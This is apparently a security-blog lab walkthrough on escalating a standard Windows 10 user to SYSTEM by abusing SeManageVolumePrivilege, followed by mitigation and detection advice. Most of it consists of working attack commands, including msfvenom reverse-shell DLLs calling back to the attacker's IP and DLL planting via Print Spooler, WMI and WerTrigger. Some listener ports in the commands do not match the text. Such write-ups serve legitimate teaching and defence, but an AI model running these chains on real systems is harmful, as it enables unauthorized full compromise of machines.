Windows Privilege Escalation: SeManageVolumePrivilege
Overview
This article demonstrates how attackers abuse the SeManageVolumePrivilege Windows token right to escalate from a standard user to SYSTEM on a Windows 10 target. The technique exploits direct API access to NTFS volumes — a capability normally restricted to administrators — to rewrite directory ACLs across C:\Windows. With write control over the Windows directory, attackers plant malicious DLLs into system paths and trigger high-privileged processes to load them. The walkthrough covers three distinct exploitation paths: Print Spooler DLL hijacking, WBEM tzres.dll substitution, and Windows Error Reporting abuse via WerTrigger.
Table of Contents:
- Introduction to SeManageVolumePrivilege
- Lab Environment
- Confirming the Target User
- Assigning SeManageVolumePrivilege via Local Security Policy
- Opening secpol.msc
- Navigating to User Rights Assignment
- Adding the Target User
- Establishing the Initial Reverse Shell
- Enabling the Privilege with EnableAllTokenPrivs
- Staging the Script on the Attacker Machine
- Fetching and Executing the Script on the Target
- Abusing SeManageVolumePrivilege to Rewrite C:\Windows ACLs
- Auditing the Initial ACL
- Running SeManageVolumeExploit
- Exploitation 1: Print Spooler DLL Hijacking → SYSTEM
- Generating the Printconfig.dll Payload
- Deploying the DLL and Triggering the Spooler
- Receiving the SYSTEM Shell
- Exploitation 2: WBEM tzres.dll Hijacking → NT AUTHORITY\NETWORK SERVICE
- Generating the tzres.dll Payload
- Deploying tzres.dll and Triggering WMI
- Landing as NT AUTHORITY\NETWORK SERVICE
- Exploitation 3: Windows Error Reporting (WerTrigger) → SYSTEM
- Generating the phoneinfo.dll Payload
- Downloading WerTrigger Components
- Deploying and Executing WerTrigger
- Receiving the SYSTEM Shell via WerTrigger
- Mitigation Strategies
- Audit and Restrict User Rights Assignments
- Apply the Principle of Least Privilege
- Monitor Privilege Activation Events
- Detect ACL Modification on Protected Directories
- Control DLL Hijacking Vectors
- Restrict Print Spooler and Limit WER Exposure
- Enforce Endpoint Detection and Response (EDR) Coverage
- Conclusion
Introduction to SeManageVolumePrivilege
SeManageVolumePrivilege is a Windows token privilege that allows a process to call the SetFileValidData() API — a function that lets an application write valid data to an allocated file region without zero-padding. While this privilege exists primarily for database and backup software that must initialise large files quickly, granting it to an ordinary user account opens a severe privilege escalation vector.
The privilege maps to the “Perform volume maintenance tasks” user right in the Local Security Policy. When assigned to a non-administrator, the token carries the right but leaves it in a Disabled state; Windows does not activate optional privileges automatically. An attacker who holds this disabled privilege can enable it programmatically using token manipulation tools, then wield it to call Windows kernel APIs that modify NTFS directory security descriptors — effectively granting arbitrary write access to the Windows directory tree.
Once BUILTIN\Users holds Modify (M) and Full Control (F) permissions on C:\Windows, the entire attack surface changes. Any DLL that a SYSTEM-level process loads from a writable path becomes a hijacking target. This article chains that write primitive into three separate SYSTEM shells, demonstrating the breadth of post-exploitation options the privilege unlocks.
Lab Environment
- Attacker: Kali Linux — IP 192.168.1.8
- Target: Windows 10 (MSEDGEWIN10, build 10.0.17763.379) — IP 192.168.1.12
- Target user: raj — standard local account with no administrative privileges

Confirming the Target User
Before assigning any privilege, the attacker enumerates the target user with following command to confirm the account is a standard, non-privileged user.
net user raj

The output shows that raj belongs only to the Remote Desktop Users, Remote Management Use, and Users local groups, with no Global Group memberships. The account is active and has a valid logon history — a realistic foothold scenario.
Assigning SeManageVolumePrivilege via Local Security Policy
The attacker (or a misconfiguring administrator) grants raj the “Perform volume maintenance tasks” right through the Local Security Policy editor. This simulates a real-world misconfiguration — for example, a DBA or backup operator account granted this right by an administrator who underestimates its security implications.
Opening secpol.msc
The administrator presses Win+R and types secpol.msc to launch the Local Security Policy MMC snap-in with elevated privileges.

Navigating to User Rights Assignment
Inside the snap-in, the administrator goes to Local Policies > User Rights Assignment. The right pane lists all user rights. The administrator locates “Perform volume maintenance tasks,” which currently assigns only to Administrators, and double-clicks the entry.

Adding the Target User
The Properties dialog reveals that only the Administrators group currently holds this right. The administrator clicks Add User or Group to expand access.

After clicking Add User or Group, the administrator types MSEDGEWIN10\raj and confirms. The policy now lists both Administrators and MSEDGEWIN10\raj as holders of SeManageVolumePrivilege — a dangerous misconfiguration that an attacker can exploit the moment they land a shell as raj.

Establishing the Initial Reverse Shell
The attacker starts a netcat listener on port 443 with the following command and then checks privileges.
nc -lvp 443 whoami /priv

The output confirms that SeManageVolumePrivilege — “Perform volume maintenance tasks” — is present but in a Disabled state. Windows disables optional privileges by default; the attacker must activate the privilege before exploiting it.
Enabling the Privilege with EnableAllTokenPrivs
To activate the disabled privilege, the attacker uses the EnableAllTokenPrivs PowerShell script authored by fashionproof. This script calls the Windows AdjustTokenPrivileges API to flip every disabled privilege in the current process token to an Enabled state.
Staging the Script on the Attacker Machine
The attacker downloads EnableAllTokenPrivs.ps1 from GitHub directly to Kali Linux, then spins up a Python HTTP server on port 80 to serve the script to the victim machine with the help of the following commands:
wget https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1 python -m http.server 80

Fetching and Executing the Script on the Target
From the reverse shell on the Windows target, the attacker switches to PowerShell, downloads the script using wget (an alias for Invoke-WebRequest), and dot-sources it to execute within the current session. The subsequent whoami /priv output shows SeManageVolumePrivilege now as Enabled. Every other privilege in the token is simultaneously activated, maximising the attack surface.
powershell wget http://192.168.1.8/EnableAllTokenPrivs.ps1 -o EnableAllTokenPrivs.ps1 powershell . .\EnableAllTokenPrivs.ps1 whoami /priv

Abusing SeManageVolumePrivilege to Rewrite C:\Windows ACLs
With SeManageVolumePrivilege enabled, the attacker deploys SeManageVolumeExploit.exe — a tool that uses the privilege to call low-level NTFS APIs and inject write permissions for BUILTIN\Users across the entire Windows directory tree. This converts a read-only user into a de facto write owner of C:\Windows, enabling DLL planting throughout system paths.
Auditing the Initial ACL
The attacker first runs icacls C:/Windows to record the baseline permissions. The output confirms that BUILTIN\Users holds only (RX) — Read and Execute — with no write capability. This is the expected, hardened state.
icacls C:/Windows

Running SeManageVolumeExploit
The attacker downloads SeManageVolumeExploit.exe from the Kali HTTP server and executes it. The tool reports “Entries changed: 2538” — confirming that it has modified over 2,500 ACL entries across C:\Windows. A second icacls query verifies the result: BUILTIN\Users now holds (M) Modify and (OI)(CI)(IO)(F) Full Control with inheritance flags, granting write access across every subdirectory. The attacker can now plant DLLs anywhere under C:\Windows.
wget http://192.168.1.8/SeManageVolumeExploit.exe -o SeManageVolumeExploit.exe ./SeManageVolumeExploit.exe icacls C:/Windows

Exploitation 1: Print Spooler DLL Hijacking → SYSTEM
The Windows Print Spooler service runs as SYSTEM and loads Printconfig.dll from C:\Windows\System32\spool\drivers\x64\3\ at runtime. Because the attacker now controls that directory, planting a trojanised Printconfig.dll and triggering a spooler operation delivers a SYSTEM shell.
Generating the Printconfig.dll Payload
The attacker uses msfvenom to generate a 64-bit reverse TCP shell DLL named Printconfig.dll, setting LHOST to 192.168.1.8 (Kali) and LPORT to 4444. The payload is 9,216 bytes. A Python HTTP server on port 80 serves the DLL to the target.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.8 lport=4444 -f dll -o Printconfig.dll python -m http.server 80

Deploying the DLL and Triggering the Spooler
The attacker fetches Printconfig.dll to the target and copies it into C:\Windows\System32\spool\drivers\x64\3\. To trigger spooler activity without requiring a connected printer, the attacker instantiates the Print Spooler COM object directly in PowerShell using its CLSID ({854A20FB-2D44-457D-992F-EF13785D2B51}) via [Type]::GetTypeFromCLSID and [Activator]::CreateInstance. This forces the spooler service to initialise, loading the trojanised Printconfig.dll as SYSTEM.
wget http://192.168.1.8/Printconfig.dll -o Printconfig.dll
copy Printconfig.dll C:/Windows/System32/spool/drivers/x64/3/
$type = [Type]::GetTypeFromCLSID("{854A20FB-2D44-457D-992F-EF13785D2B51}")
$object = [Activator]::CreateInstance($type)

Receiving the SYSTEM Shell
The netcat listener on port 4444 catches the callback. Running whoami /priv in the new shell reveals the full NT AUTHORITY\SYSTEM token — SeTcbPrivilege, SeDebugPrivilege, SeBackupPrivilege, SeRestorePrivilege, and the complete suite of SYSTEM privileges are all present. Full system compromise is achieved.
nc -lvp 4444 whoami /priv

Exploitation 2: WBEM tzres.dll Hijacking → NT AUTHORITY\NETWORK SERVICE
A second path targets the Windows Management Instrumentation (WMI) service. The wbem service loads tzres.dll — the time zone resource library — from C:\Windows\System32\wbem\ when an application calls systeminfo, which triggers WMI queries internally. Planting a malicious tzres.dll in that path causes the wbem service to execute attacker-controlled code as NT AUTHORITY\NETWORK SERVICE, which carries SeImpersonatePrivilege and enables a further Potato-style escalation to SYSTEM.
Generating the tzres.dll Payload
The attacker generates a second reverse TCP DLL payload named tzres.dll, targeting port 1234 on Kali. A Python HTTP server stages it for delivery.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.8 lport=1234 -f dll -o tzres.dll python -m http.server 80

Deploying tzres.dll and Triggering WMI
The attacker downloads tzres.dll to the target and copies it to C:\Windows\System32\wbem\. Running systeminfo from the attacker shell causes Windows to invoke multiple WMI queries internally, forcing the wbem service to load the trojanised tzres.dll.
wget http://192.168.1.8/tzres.dll -o tzres.dll copy tzres.dll C:/Windows/System32/wbem/ systeminfo

Landing as NT AUTHORITY\NETWORK SERVICE
The netcat listener on port 1234 receives a shell. The whoami output shows nt authority\network service — a service account that holds SeImpersonatePrivilege and SeCreateGlobalPrivilege. SeImpersonatePrivilege enables further escalation to SYSTEM via tools such as SweetPotato, PrintSpoofer, or GodPotato.
nc -lvp 4444 whoami /priv

Exploitation 3: Windows Error Reporting (WerTrigger) → SYSTEM
The third path abuses the Windows Error Reporting (WER) subsystem. WER can load phoneinfo.dll from C:\Windows\System32\ when processing a crafted error report. The WerTrigger tool by sailay1996 submits such a report, causing WerFault.exe (which runs as SYSTEM) to load the attacker’s phoneinfo.dll.
Generating the phoneinfo.dll Payload
The attacker generates a third DLL reverse shell named phoneinfo.dll, targeting port 4433 on Kali. A Python HTTP server serves the payload alongside the WerTrigger components.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.8 lport=4433 -f dll -o phoneinfo.dll python -m http.server 80

Downloading WerTrigger Components
The attacker downloads WerTrigger.exe and Report.wer from the sailay1996 GitHub repository. WerTrigger.exe orchestrates the attack while Report.wer is a crafted error report that drives WerFault.exe to load phoneinfo.dll.
wget https://github.com/sailay1996/WerTrigger/raw/master/bin/WerTrigger.exe wget https://raw.githubusercontent.com/sailay1996/WerTrigger/master/bin/Report.wer

Deploying and Executing WerTrigger
From the target shell, the attacker downloads WerTrigger.exe, Report.wer, and phoneinfo.dll from the Kali HTTP server. The DLL is copied to C:\Windows\System32\ (now writable). Running WerTrigger.exe submits the crafted report, causing WER to process it and load phoneinfo.dll as SYSTEM. The tool confirms “[+] Trigger launched. [*] TCP connecting …”
wget http://192.168.1.8/WerTrigger.exe -o WerTrigger.exe wget http://192.168.1.8/Report.wer -o Report.wer wget http://192.168.1.8/phoneinfo.dll -o phoneinfo.dll copy phoneinfo.dll C:/Windows/System32/ .\WerTrigger.exe

Receiving the SYSTEM Shell via WerTrigger
The netcat listener on port 4433 catches the callback. A whoami /priv in the new shell reveals a full SYSTEM token — SeTcbPrivilege, SeDebugPrivilege, SeAuditPrivilege, SeImpersonatePrivilege, SeCreateSymbolicLinkPrivilege, and SeDelegateSessionUserImpersonatePrivilege are all present. This is the highest privilege level attainable on a Windows system. The escalation is complete through a third independent path, confirming the breadth of the SeManageVolumePrivilege attack surface.
nc -lvp 4444 whoami /priv

Mitigation Strategies
Audit and Restrict User Rights Assignments
Review the “Perform volume maintenance tasks” policy in secpol.msc and confirm that only Administrators (or a named service account explicitly requiring NTFS initialisation operations) hold this right. Use the Resultant Set of Policy (RSoP) tool or Group Policy auditing to detect drift from baseline.
Apply the Principle of Least Privilege
Grant SeManageVolumePrivilege only to service accounts that demonstrably require it — typically SQL Server or large-scale backup agents. Standard user accounts, IT staff accounts, and remote management accounts must never receive this right. Audit Active Directory and local security policies periodically to remove unintended grants.
Monitor Privilege Activation Events
Enable Advanced Audit Policy → Detailed Tracking → Audit Token Right Adjustment (Event ID 4703). Alert on any process activating SeManageVolumePrivilege outside of known, approved service accounts. Correlate with process creation events (Event ID 4688) to identify anomalous callers.
Detect ACL Modification on Protected Directories
Monitor Event ID 4670 (Permissions changed on an object) for modifications to the C:\Windows tree by non-SYSTEM, non-TrustedInstaller principals. A spike of thousands of ACL changes in seconds is a strong indicator of SeManageVolumeExploit execution. SIEM rules tuned to this volume and target path provide reliable detection.
Control DLL Hijacking Vectors
Deploy Windows Defender Application Control (WDAC) or AppLocker policies that restrict DLL loading to signed, trusted publishers. This blocks unsigned msfvenom-generated DLLs even if an attacker gains write access to system paths. Enabling Secure Boot and Code Integrity also prevents tampered DLLs from loading in privileged processes.
Restrict Print Spooler and Limit WER Exposure
Disable the Print Spooler service on machines that do not require printing (servers, workstations with no attached printers). Apply Microsoft’s published Print Spooler hardening guidance. For Windows Error Reporting, configure Group Policy to disable WER or redirect reports to an internal, monitored endpoint, reducing the exposure of WerFault.exe as a SYSTEM-level DLL loader.
Enforce Endpoint Detection and Response (EDR) Coverage
Ensure EDR solutions cover all endpoints and are tuned to flag process injection, unusual DLL loads by svchost.exe or WerFault.exe, and reverse shell activity (netcat binaries, PowerShell download cradles, outbound connections from system processes). Behavioural rules that detect EnableAllTokenPrivs-style AdjustTokenPrivileges calls followed by NTFS API activity provide proactive coverage.
Conclusion
SeManageVolumePrivilege is a low-profile Windows right that carries catastrophic consequences when granted to unprivileged accounts. What appears to be a niche volume maintenance capability is in practice a master key to the Windows directory: once an attacker enables the token privilege and invokes SeManageVolumeExploit, every SYSTEM process that loads a DLL from a writable path becomes an escalation vector.
This walkthrough demonstrated three independent paths to full SYSTEM access — Print Spooler DLL hijacking, WBEM tzres.dll substitution, and Windows Error Reporting abuse via WerTrigger — all rooted in a single misconfigured user right. The diversity of exploitation paths underscores that the vulnerability is the misconfiguration itself, not any specific binary or technique; removing the privilege collapses all three attack chains simultaneously.
Defenders should treat User Rights Assignments with the same scrutiny applied to group memberships and file ACLs. Periodic audits, fine-grained event monitoring, DLL load controls, and the principle of least privilege collectively eliminate this attack surface before an attacker has the opportunity to exploit it.